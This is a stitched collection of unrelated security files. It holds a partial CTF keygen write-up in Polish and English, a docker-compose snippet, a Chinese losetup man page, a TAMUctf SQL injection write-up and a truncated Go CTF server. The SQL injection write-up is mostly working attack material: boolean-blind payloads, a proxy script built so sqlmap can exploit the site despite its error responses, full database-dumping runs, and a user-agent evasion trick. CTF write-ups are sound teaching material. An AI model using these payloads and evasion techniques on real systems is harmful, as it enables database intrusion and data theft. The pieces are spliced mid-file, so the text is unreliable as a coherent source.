= xor(word2, level1) level4 = xor(word3, level5) word5 = xor(xor(word4, w23), level4) # check level1c = xor(word1, word2) level2c = xor(xor(word2, word4), w23) level3c = xor(word3, word4) level4c = xor(xor(word5, word4), w23) level5c = xor(level4c, word3) assert level1.encode('hex') == level1c.encode('hex') assert level2.encode('hex') == level2c.encode('hex') assert level3.encode('hex') == level3c.encode('hex') assert level4.encode('hex') == level4c.encode('hex') assert level5.encode('hex') == level5c.encode('hex') open('kot', 'wb').write('\n'.join([word1, word2, word3, word4, word5])) Uruchamiamy więc program z odpowiednią [licencją](kot), i... vagrant@precise64:~$ ./license program successfully registered to ASIS{8d2cc30143831881f94cb05dcf0b83e0} gotowe. ### ENG version We get a [program](./license) (elf) for analysis and we start to read the code. It opens a file (we expect this to be the "licence" from task title), executs a series of operations/checks and if something is wrong at one step it prints an error and exits. .text:00000000004009C7 mov edi, offset a_aBC_ ; "_a\nb\tc_" ... .text:00000000004009EE call _fopen As we can see the filename is not ordinary. While we could get this done on linux, we consider working with such file to be unpleasant. Therefore we named the file `kot` and we patched the binary (so it opens a file `kot`). First check - if opening the file or reading it fails, the program exits. Second check - a complex operation is performed on the file length, which after a while of reverse engineering turned out to be: if (-45235*x*x*x*x + -1256*x*x*x + 14392*x*x + -59762*x - 1949670109068 + 44242*x*x*x*x*x == 0) { // ok } else { // exit } Where x is number of bytes in the licence file. In order to solve this equation we use WolframAlpha and we get x = 34. Next there is a long loop which splits the input file into lines and counts newline characters and then: if (linesInFile == 5) { // ok } else { // exit } Every line has the same length (which can be observed in the code), we can deduce that every line needs 6 characters (6*5 characters in line + 4 newline characters = 34 bytes in file). Next there is a long check which in python would look like (word1, word2... is first, second.... line from file) result = 'iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW' # stała zaszyta w programie w23 = '\x23\x23\x23\x23\x23\x23' level1 = result[0:n] level2 = result[n:2*n] level3 = result[2*n:3*n] level5 = result[3*n:4*n] level4 = xor(word3, level5) assert level1 == xor(word1, word2) assert level2 == xor(xor(word2, word4), w23) assert level3 == xor(word3, word4) assert level4 == xor(xor(word5, word4), w23) assert level5 == xor(level4, word3) All operations are reversible so after a while we have code to generate correct licence file: level1 = result[0:n] level2 = result[n:2*n] level3 = result[2*n:3*n] level5 = result[3*n:4*n] w23 = '\x23\x23\x23\x23\x23\x23' word4 = result[4*n:5*n] word3 = xor(word4, level3) word2 = xor(xor(word4, w23), level2) word1 = xor(word2, level1) level4 = xor(word3, level5) word5 = xor(xor(word4, w23), level4) # check level1c = xor(word1, word2) level2c = xor(xor(word2, word4), w23) level3c = xor(word3, word4) level4c = xor(xor(word5, word4), w23) level5c = xor(level4c, word3) assert level1.encode('hex') == level1c.encode('hex') assert level2.encode('hex') == level2c.encode('hex') assert level3.encode('hex') == level3c.encode('hex') assert level4.encode('hex') == level4c.encode('hex') assert level5.encode('hex') == level5c.encode('hex') open('kot', 'wb').write('\n'.join([word1, word2, word3, word4, word5])) We run the binary with correct [licence](kot), and... vagrant@precise64:~$ ./license program successfully registered to ASIS{8d2cc30143831881f94cb05dcf0b83e0} Done.
sec-knowleage
version: '2' services: php: build: . ports: - "8080:80" volumes: - ./index.php:/var/www/html/index.php
sec-knowleage
.TH LOSETUP 8 "Nov 24 1993" "Linux" "MAINTENANCE COMMANDS" .SH NAME losetup \- 设 定 与 控 制 环回设备 .SH "总览 SYNOPSIS" .ad l .B losetup [ .B \-e .I encryption ] [ .B \-o .I offset ] .I loop_device file .br .B losetup [ .B \-d ] .I loop_device .ad b .SH "描述" .B losetup 用 来 将 loop device 与 档 案 或 block device 联 结 、 分 离 . 以 及 查 询 loop device 目 前 的 状 况 , 如 只 给 定 \fIloop_device\fR 的 参 数 . 则 秀 出 loop device 目 前 的 状 况 . .SH "选项 OPTIONS" .IP \fB\-d\fP 将 某 个 档 案 或 装 制 与 loop 装 置 分 离 .IP "\fB\-e \fIencryption\fP" .RS 启 动 资 料 编 码 . 下 列 为 可 用 的 选 项 参 数 :启 动 资 料 编 码 . 下 列 为 可 用 的 选 项 参 数 : .IP \fBNONE\fP 不 编 码 ( 定 义 值 ) . .PD 0 .IP \fBXOR\fP 使 用 简 易 的 XOR 编 码 .IP \fBDES\fP 使 用 DES 编 码 . DES 编 码 须 在 kernel 上 加 上 DES 编 码 功 能 . DES 编 码 是 利 用 启 始 值 做 为 密 码 保 护 来 防 止 他 人 用 字 典 功 击 法 破 解 . .PD .RE .IP "\fB\-o \fIoffset\fP" 资 料 开 启 时 资 料 平移(offset) 几 个 bytes 来 与 档 案 或 装 置 联 接 .SH "返回值 RETURN VALUE" .B losetup returns 0 on success, nonzero on failure. When .B losetup displays the status of a loop device, it returns 1 if the device is not configured and 2 if an error occurred which prevented .B losetup from determining the status of the device. .SH "文件 FILES" .nf /dev/loop0,/dev/loop1,... loop devices (major=7) .fi .SH "范例 EXAMPLE" 如 核 心 使 用 模 组 , 须 先 使 用 下 列 命 令 将 模 组 载 入 . .IP # insmod loop.o .LP 下 列 为 使 用 loop 装 置 的 简 单 范 例 . .nf .IP dd if=/dev/zero of=/file bs=1k count=100 losetup -e des /dev/loop0 /file Password: Init (up to 16 hex digits): mkfs -t ext2 /dev/loop0 100 mount -t ext2 /dev/loop0 /mnt ... umount /dev/loop0 losetup -d /dev/loop0 .fi .LP 核 心 使 用 模 组 , 须 利 用 下 列 命 令 移 除 loop 模 组 . .IP # rmmod loop .LP .fi .SH "限制 RESTRICTION" DES 编 码 十 分 慢 , 而 使 用 XOR 却 十 分 脆 弱 . .SH "作者 AUTHOR"S .nf Original version: Theodore Ts'o <tytso@athena.mit.edu> Original DES by: Eric Young <eay@psych.psy.uq.oz.au> .fi .SH "[中文版维护人]" .B 软件教程之Linux Man .SH "[中文版最新更新]" .B 1989.01.01 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Bird Box Challenge Web, 478 points ## Description: > We've got Aggies, Trucks, and Eggs! The description included a picture of Sandra Bullock blindfolded, from the movie [Bird Box](https://en.wikipedia.org/wiki/Bird_Box_(film)). A website with a search engine was linked to. ```html <img src='TAMU_CTF.png'> <div> <form action='Search.php' autocomplete='off' id='search' method='get' accept-charset='UTF-8'> <h1>Search Me!</h1> <input type="text" name="Search" placeholder="Yonder Text Goes Here"> </br> <input type="Submit" value="Submit" id="submit"> <form/> </div> ``` ## Solution: Trying to search for a random value, we get: ```console root@kali:/media/sf_CTFs/tamu/Bird_Box# curl -v http://web2.tamuctf.com/Search.php?Search=test * Trying 34.208.211.186... * TCP_NODELAY set * Connected to web2.tamuctf.com (34.208.211.186) port 80 (#0) > GET /Search.php?Search=test HTTP/1.1 > Host: web2.tamuctf.com > User-Agent: curl/7.61.0 > Accept: */* > < HTTP/1.1 500 Internal Server Error < Server: nginx/1.15.8 < Date: Tue, 12 Mar 2019 20:52:37 GMT < Content-Type: text/html; charset=UTF-8 < Content-Length: 212 < Connection: keep-alive < * Connection #0 to host web2.tamuctf.com left intact <html><head><style>img{ display: block; margin-left: auto; margin-right: auto; width: 75%; height: 75%;}h1{ text-align: center; }</style></head></br><h1>Our search isn't THAT good...</h1></br><img src='Ehhh.png'> ``` Error 500 with a message that "Our search isn't THAT good...". The description hinted strongly that we are searching for a boolean-blind SQL injection, so let's start by manually fuzzing the `Search` parameter. After trying different payloads, the following input suddenly gave a different result: ```console root@kali:/media/sf_CTFs/tamu/Bird_Box# curl -v "http://web2.tamuctf.com/Search.php?Search='or'1'='1" * Trying 34.208.211.186... * TCP_NODELAY set * Connected to web2.tamuctf.com (34.208.211.186) port 80 (#0) > GET /Search.php?Search='or'1'='1 HTTP/1.1 > Host: web2.tamuctf.com > User-Agent: curl/7.61.0 > Accept: */* > < HTTP/1.1 500 Internal Server Error < Server: nginx/1.15.8 < Date: Tue, 12 Mar 2019 21:00:21 GMT < Content-Type: text/html; charset=UTF-8 < Content-Length: 220 < Connection: keep-alive < * Connection #0 to host web2.tamuctf.com left intact <html><head><style>img{ display: block; margin-left: auto; margin-right: auto; width: 75%; height: 75%;}h1{ text-align: center; }</style></head></br><h1>Nice try, nothing to see here.</h1></br><img src='Nice_Going!.gif'> ``` Again Error 500, but with a different error message: "Nice try, nothing to see here". Let's perform a sanity check and try with `'or'2'='1` instead of `'or'1'='1`: ```console root@kali:/media/sf_CTFs/tamu/Bird_Box# curl "http://web2.tamuctf.com/Search.php?Search='or'2'='1" <html><head><style>img{ display: block; margin-left: auto; margin-right: auto; width: 75%; height: 75%;}h1{ text-align: center; }</style></head></br><h1>Our search isn't THAT good...</h1></br><img src='Ehhh.png'> ``` Back to "Our search isn't THAT good" - so we have some kind of boolean condition here! A true statement gives us one error message, a false gives another. Time to fire up SQLMap and automatically dump the DB. However, in this case, SQLMap was having trouble exploiting the vulnerability. At first I thought that SQLMap just isn't finding the correct syntax needed for the exploit, so I tried helping it out with an idea based on something I read [here](http://pentestmonkey.net/blog/exploiting-a-tricky-sql-injection-with-sqlmap). It turns out the SQLMap has a feature called "Arbitrary Injection Points": > Similar to URI injection point, asterisk (*) can also be used to point to the arbitrary injection point inside GET, POST or HTTP headers. Injection point can be specified by marking it inside the GET parameter value(s) provided with option -u, POST parameter value(s) provided with option --data, HTTP header value(s) provided with options -H, --headers, --user-agent, --referer and/or --cookie, or at generic place inside HTTP request loaded from file with option -r. In our case, we need to find some kind of SQL syntax that SQLMap could easily fit its payload into. I started with the following payload: ``` ' or case when 1=1 then 1 else 0 end='1 ``` This gives us the "True" page: ```console root@kali:/media/sf_CTFs/tamu/Bird_Box# curl http://web2.tamuctf.com/Search.php?Search=%27%20or%20case%20when%201=1%20then%201%20else%200%20end=%271 <html><head><style>img{ display: block; margin-left: auto; margin-right: auto; width: 75%; height: 75%;}h1{ text-align: center; }</style></head></br><h1>Nice try, nothing to see here.</h1></br><img src='Nice_Going!.gif'> ``` Explanation: Since `1=1` the case `case when 1=1 then 1 else 0 end` translates to `1` and the complete expression becomes `' or 1='1`, like before. Now, we can insert the SQLMap payload in the following location, denoted by `*`: ``` ' or case when 1=1 * then 1 else 0 end='1 ``` SQLMap performs boolean-based attacks by trying payloads such as: ``` and (SELECT LENGTH(database()))=1 and (SELECT LENGTH(database()))=2 ... and (SELECT LENGTH(database()))=6 ... ``` So, if SQLMap sends a "True" payload such as `and 2=2`, the expression will map to True, and otherwise (e.g. `and 2=3`) it will map to False. Now, when SQLMap identifies the `*` in the URL, it asks if it should be used as a custom injection marker and if so - injects its payload to that exact location. However, this still didn't work, and it looked like the fact that the website keeps returning Error 500s is throwing SQLMap off. To overcome this, I decided to create a proxy and "translate" the different responses into data that SQLMap can work with. This is the proxy I used: ```python from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import SocketServer from urlparse import urlparse import requests class S(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): self._set_headers() query = urlparse(self.path).query r = requests.get("http://web2.tamuctf.com/Search.php?Search=' or case when 1=1 {} then 1 else 0 end='1".format(query)) self.wfile.write("<html><body>{}</body></html>".format("Ehhh.png" in r.text)) def do_HEAD(self): self._set_headers() def do_POST(self): self._set_headers() self.wfile.write("<html><body><h1>POST!</h1></body></html>") def run(server_class=HTTPServer, handler_class=S, port=8000): server_address = ('', port) httpd = server_class(server_address, handler_class) print ('Starting httpd...') httpd.serve_forever() if __name__ == "__main__": from sys import argv if len(argv) == 2: run(port=int(argv[1])) else: run() ``` It launches a webserver which accepts a single parameter and passes it on to our vulnerable website. It later parses the response and decides if it is a true response or a false one. This is reflected by printing "True" or "False" in the body. In addition, SQLMap gets a "200 OK" response like it's used to. Now, the SQLMap command to be used is: ``` sqlmap -u "http://localhost:8000/?*" --dbms=MySQL --technique=B ``` In the command, I've explicitly specified the technique to be used: Boolean blind attacks. After running the attack, I finally got: ```console root@kali:/media/sf_CTFs/tamu/Onboarding_Checklist# sqlmap -u "http://localhost:8000/?*" --dbms=MySQL --technique=B ___ __H__ ___ ___[(]_____ ___ ___ {1.2.5#stable} |_ -| . [)] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:15:13 custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [00:15:15] [INFO] testing connection to the target URL [00:15:16] [INFO] heuristics detected web page charset 'ascii' [00:15:16] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [00:15:16] [INFO] testing if the target URL content is stable [00:15:17] [INFO] target URL content is stable [00:15:17] [INFO] testing if URI parameter '#1*' is dynamic [00:15:17] [INFO] confirming that URI parameter '#1*' is dynamic [00:15:18] [INFO] URI parameter '#1*' is dynamic [00:15:19] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [00:15:19] [INFO] testing for SQL injection on URI parameter '#1*' [00:15:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [00:15:22] [INFO] URI parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [00:15:22] [INFO] checking if the injection point on URI parameter '#1*' is a false positive URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 12 HTTP(s) requests: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://localhost:8000/? AND 5842=5842 --- [00:15:31] [INFO] testing MySQL [00:15:32] [INFO] confirming MySQL [00:15:34] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 [00:15:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost' [*] shutting down at 00:15:34 root@kali:/media/sf_CTFs/tamu/Onboarding_Checklist# sqlmap -u "http://localhost:8000/?*" --dbms=MySQL --technique=B --dbs ___ __H__ ___ ___[']_____ ___ ___ {1.2.5#stable} |_ -| . [)] | .'| . | |___|_ [']_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:16:25 y [00:16:30] [INFO] testing connection to the target URL [00:16:30] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://localhost:8000/? AND 5842=5842 --- [00:16:30] [INFO] testing MySQL [00:16:30] [INFO] confirming MySQL [00:16:30] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 [00:16:30] [INFO] fetching database names [00:16:30] [INFO] fetching number of databases [00:16:30] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [00:16:30] [INFO] retrieved: 2 [00:16:34] [INFO] retrieved: information_schema [00:17:40] [INFO] retrieved: SqliDB available databases [2]: [*] information_schema [*] SqliDB [00:18:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost' [*] shutting down at 00:18:05 root@kali:/media/sf_CTFs/tamu/Onboarding_Checklist# sqlmap -u "http://localhost:8000/?*" --dbms=MySQL --technique=B -D SqliDB --tables ___ __H__ ___ ___[(]_____ ___ ___ {1.2.5#stable} |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:18:55 custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [00:18:58] [INFO] testing connection to the target URL [00:18:59] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://localhost:8000/? AND 5842=5842 --- [00:18:59] [INFO] testing MySQL [00:18:59] [INFO] confirming MySQL [00:18:59] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 [00:18:59] [INFO] fetching tables for database: 'SqliDB' [00:18:59] [INFO] fetching number of tables for database 'SqliDB' [00:18:59] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [00:18:59] [INFO] retrieved: 1 [00:19:02] [INFO] retrieved: Search Database: SqliDB [1 table] +--------+ | Search | +--------+ [00:19:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost' [*] shutting down at 00:19:26 root@kali:/media/sf_CTFs/tamu/Onboarding_Checklist# sqlmap -u "http://localhost:8000/?*" --dbms=MySQL --technique=B -D SqliDB -T Search --columns ___ __H__ ___ ___[,]_____ ___ ___ {1.2.5#stable} |_ -| . ['] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:19:55 custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [00:19:57] [INFO] testing connection to the target URL [00:19:58] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://localhost:8000/? AND 5842=5842 --- [00:19:58] [INFO] testing MySQL [00:19:58] [INFO] confirming MySQL [00:19:58] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 [00:19:58] [INFO] fetching columns for table 'Search' in database 'SqliDB' [00:19:58] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [00:19:58] [INFO] retrieved: 1 [00:20:01] [INFO] retrieved: items [00:20:21] [INFO] retrieved: varchar(100) Database: SqliDB Table: Search [1 column] +--------+--------------+ | Column | Type | +--------+--------------+ | items | varchar(100) | +--------+--------------+ [00:21:08] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost' [*] shutting down at 00:21:08 root@kali:/media/sf_CTFs/tamu/Onboarding_Checklist# sqlmap -u "http://localhost:8000/?*" --dbms=MySQL --technique=B -D SqliDB -T Search --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.2.5#stable} |_ -| . [)] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:21:31 custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [00:21:33] [INFO] testing connection to the target URL [00:21:34] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://localhost:8000/? AND 5842=5842 --- [00:21:34] [INFO] testing MySQL [00:21:34] [INFO] confirming MySQL [00:21:34] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 [00:21:34] [INFO] fetching columns for table 'Search' in database 'SqliDB' [00:21:34] [INFO] resumed: 1 [00:21:34] [INFO] resumed: items [00:21:34] [INFO] fetching entries for table 'Search' in database 'SqliDB' [00:21:34] [INFO] fetching number of entries for table 'Search' in database 'SqliDB' [00:21:34] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [00:21:34] [INFO] retrieved: 3 [00:21:38] [INFO] retrieved: Aggies [00:22:01] [INFO] retrieved: Eggs [00:22:18] [INFO] retrieved: Trucks Database: SqliDB Table: Search [3 entries] +--------+ | items | +--------+ | Aggies | | Eggs | | Trucks | +--------+ [00:22:41] [INFO] table 'SqliDB.Search' dumped to CSV file '/root/.sqlmap/output/localhost/dump/SqliDB/Search.csv' [00:22:41] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost' [*] shutting down at 00:22:41 ``` So there are three items in the table: Aggies, Eggs and Trucks. Searching for them indeed returns a response, instead of the regular error 500: ```console root@kali:/media/sf_CTFs/tamu/Bird_Box# curl web2.tamuctf.com/Search.php?Search=Aggies <html><head><style>img{ display: block; margin-left: auto; margin-right: auto; width: 75%; height: 75%;}h1{ text-align: center; }</style></head></br><h1>Aggies</h1></br><img src='Best_Aggie.png'>root@kali:/media/sf_CTFs/tamu/Bird_Box# curl web2.tamuctf.com/Search.php?Search=Eggs <html><head><style>img{ display: block; margin-left: auto; margin-right: auto; width: 75%; height: 75%;}h1{ text-align: center; }</style></head></br><h1>Eggs</h1></br><img src='Happy_Eggs.png'>root@kali:/media/sf_CTFs/tamu/Bird_Box# curl web2.tamuctf.com/Search.php?Search=Trucks <html><head><style>img{ display: block; margin-left: auto; margin-right: auto; width: 75%; height: 75%;}h1{ text-align: center; }</style></head></br><h1>Trucks</h1></br><img src='Best_Truck.png'> ``` I tried searching the images for some stego clues, with no success. At last, I went back to the description, looking for clues: > We've got Aggies, Trucks, and Eggs! Well, it turns out that the path to Aggies, Trucks and Eggs should have been much shorter than the one I took. The answer must be hiding elsewhere. With not much left to work with, I tried to dump the complete DB: ```console root@kali:/media/sf_CTFs/tamu/Bird_Box# sqlmap -u "http://localhost:8000/?*" --dbms=MySQL --technique=B --all ___ __H__ ___ ___[(]_____ ___ ___ {1.2.5#stable} |_ -| . [)] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:44:34 custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [00:44:36] [INFO] testing connection to the target URL [00:44:36] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://localhost:8000/? AND 5842=5842 --- [00:44:36] [INFO] testing MySQL [00:44:36] [INFO] confirming MySQL [00:44:36] [INFO] the back-end DBMS is MySQL [00:44:36] [INFO] fetching banner [00:44:36] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [00:44:36] [INFO] retrieved: 5.7.25-0ubuntu0.18.04.2 back-end DBMS operating system: Linux Ubuntu back-end DBMS: MySQL >= 5.0.0 banner: '5.7.25-0ubuntu0.18.04.2' [00:45:13] [INFO] fetching current user [00:45:13] [INFO] retrieved: gigem{w3_4r3_th3_4ggi3s}@localhost current user: 'gigem{w3_4r3_th3_4ggi3s}@localhost' [00:46:05] [INFO] fetching current database [00:46:05] [INFO] retrieved: SqliDB current database: 'SqliDB' [00:46:30] [INFO] fetching server hostname [00:46:30] [INFO] retrieved: 18dfee95a5d1 hostname: '18dfee95a5d1' [00:47:21] [INFO] testing if current user is DBA [00:47:21] [INFO] fetching current user current user is DBA: False [00:47:22] [INFO] fetching database users [00:47:22] [INFO] fetching number of database users [00:47:22] [INFO] retrieved: 1 [00:47:25] [INFO] retrieved: 'gigem{w3_4r3_th3_4ggi3s}'@'localhost' database management system users [1]: [*] 'gigem{w3_4r3_th3_4ggi3s}'@'localhost' [00:48:03] [ERROR] user aborted ``` The flag hid as the DB user: gigem{w3_4r3_th3_4ggi3s} ## Update From reading another writeup ([link](https://medium.com/@noobintheshell/tamuctf2019-writeups-1-360f53008f7a)) it turns out that the reason SQLMap failed is because the SQLMap user agent was being blocked. This explains why the proxy resolved the issue. The easy way to bypass this was using the `--random-agent` option: ```console root@kali:/media/sf_CTFs/tamu/# sqlmap -u http://web2.tamuctf.com/Search.php?Search=1 --random-agent --dbms=MySQL --technique=B --level 5 --risk 3 ___ __H__ ___ ___[(]_____ ___ ___ {1.2.5#stable} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 22:44:20 [22:44:20] [INFO] fetched random HTTP User-Agent header value 'Opera/9.00 (Windows NT 5.2; U; pl)' from file '/usr/share/sqlmap/txt/user-agents.txt' [22:44:25] [INFO] testing connection to the target URL [22:44:26] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests [22:44:26] [INFO] testing if the target URL content is stable [22:44:26] [INFO] target URL content is stable [22:44:26] [INFO] testing if GET parameter 'Search' is dynamic [22:44:27] [WARNING] GET parameter 'Search' does not appear to be dynamic [22:44:27] [WARNING] heuristic (basic) test shows that GET parameter 'Search' might not be injectable [22:44:27] [INFO] testing for SQL injection on GET parameter 'Search' [22:44:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [22:45:00] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [22:45:08] [INFO] GET parameter 'Search' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="see") [22:45:08] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval [22:45:08] [INFO] checking if the injection point on GET parameter 'Search' is a false positive GET parameter 'Search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 163 HTTP(s) requests: --- Parameter: Search (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: Search=-4471' OR 9364=9364-- tPIF --- [22:45:21] [INFO] testing MySQL [22:45:21] [INFO] confirming MySQL [22:45:22] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL >= 5.0.0 [22:45:22] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 130 times [22:45:22] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web2.tamuctf.com' [*] shutting down at 22:45:22 ```
sec-knowleage
package main import ( "encoding/binary" "fmt" "io" "io/ioutil" "math" "math/cmplx" "math/rand" "net" ) type UserError struct { msg string // description of error } func (e *UserError) Error() string { return e.msg } const ( G_I = 0 // Identity G_X = 1 // Pauli X-gate G_Y = 2 // Pauli Y-gate G_Z = 3 // Pauli Z-gate G_H = 4 // Hadamard gate G_R = 5 // R2 gate: rotate phase by 90 degrees G_P = 6 // Rotate phase by an angle specified in radians G_M = 7 // Measure in standard (Z) basis, and if 1, self-destruct ) var S float64 = math.Sqrt(0.5) var flag []byte var MATRICES = [6][2][2]complex128{ {{complex(1, 0), complex(0, 0)}, {complex(0, 0), complex(1, 0)}}, {{complex(0, 0), complex(1, 0)}, {complex(1, 0), complex(0, 0)}}, {{complex(0, 0), complex(0, -1)}, {complex(0, 1), complex(0, 0)}}, {{complex(1, 0), complex(0, 0)}, {complex(0, 0), complex(-1, 0)}}, {{complex(S, 0), complex(S, 0)}, {complex(S, 0), complex(-S, 0)}}, {{complex(1, 0), complex(0, 0)}, {complex(0, 0), complex(0, 1)}}, } func apply_gate(state [4]complex128, matrix [2][2]complex128, wire bool, controlled bool) [4]complex128 { var result [4]complex128 // I could carefully parameterize this. Or I could be a lazy bum! if wire && controlled { result[0] = state[0] result[2] = state[2] result[1] = matrix[0][0]*state[1] + matrix[1][0]*state[3] result[3] = matrix[0][1]*state[1] + matrix[1][1]*state[3] } else if wire { result[0] = matrix[0][0]*state[0] + matrix[1][0]*state[2] result[2] = matrix[0][1]*state[0] + matrix[1][1]*state[2] result[1] = matrix[0][0]*state[1] + matrix[1][0]*state[3] result[3] = matrix[0][1]*state[1] + matrix[1][1]*state[3] } else if controlled { result[0] = state[0] result[1] = state[1] result[2] = matrix[0][0]*state[2] + matrix[1][0]*state[3] result[3] = matrix[0][1]*state[2] + matrix[1][1]*state[3] } else { result[0] = matrix[0][0]*state[0] + matrix[1][0]*state[1] result[1] = matrix[0][1]*state[0] + matrix[1][1]*state[1] result[2] = matrix[0][0]*state[2] + matrix[1][0]*state[3] result[3] = matrix[0][1]*state[2] + matrix[1][1]*state[3] } return result } func measure_wire(state [4]complex128, wire bool) [4]complex128 { prob_zero := cmplx.Abs(state[0]) * cmplx.Abs(state[0]) if wire { prob_zero += cmplx.Abs(state[1]) * cmplx.Abs(state[1]) } else { prob_zero += cmplx.Abs(state[2]) * cmplx.Abs(state[2]) } if rand.Float64() < prob_zero { var result [4]complex128 result[0] = state[0] / complex(math.Sqrt(prob_zero), 0) result[3] = complex(0, 0) if wire { result[1] = state[1] / complex(math.Sqrt(prob_zero), 0) result[2] = complex(0, 0) } else { result[1] = complex(0, 0) result[2] = state[2] / complex(math.Sqrt(prob_zero), 0) } return result } else { panic(UserError{"BOOM!"}) } } func measure_final(state [4]complex128) int { var so_far float64 = 0 actual := rand.Float64() for i := 0; i < 4; i++ { so_far += cmplx.Abs(state[i]) * cmplx.Abs(state[i]) if so_far >= actual { return i } } panic(UserError{"Bad probability?"}) } func handle_connection(conn net.Conn) { defer func() { e := recover() if e != nil { if uerr, ok := e.(UserError); ok { fmt.Println(uerr.Error()) conn.Write([]byte(uerr.Error())) } } conn.Close() }() bombs := make([]bool, 14*8) for ix := range bombs { bombs[ix] = (ix%2 == 1) // XXX: Odd idx are bombs. } for { command := make([]byte, 2) io.ReadFull(conn, command) num_gates := uint16(command[1]) + 256*uint16(command[0]) if num_gates == 0 { break } fmt.Println(num_gates); state := [4]complex128{complex(1, 0), complex(0, 0), complex(0, 0), complex(0, 0)} for i := uint16(0); i < 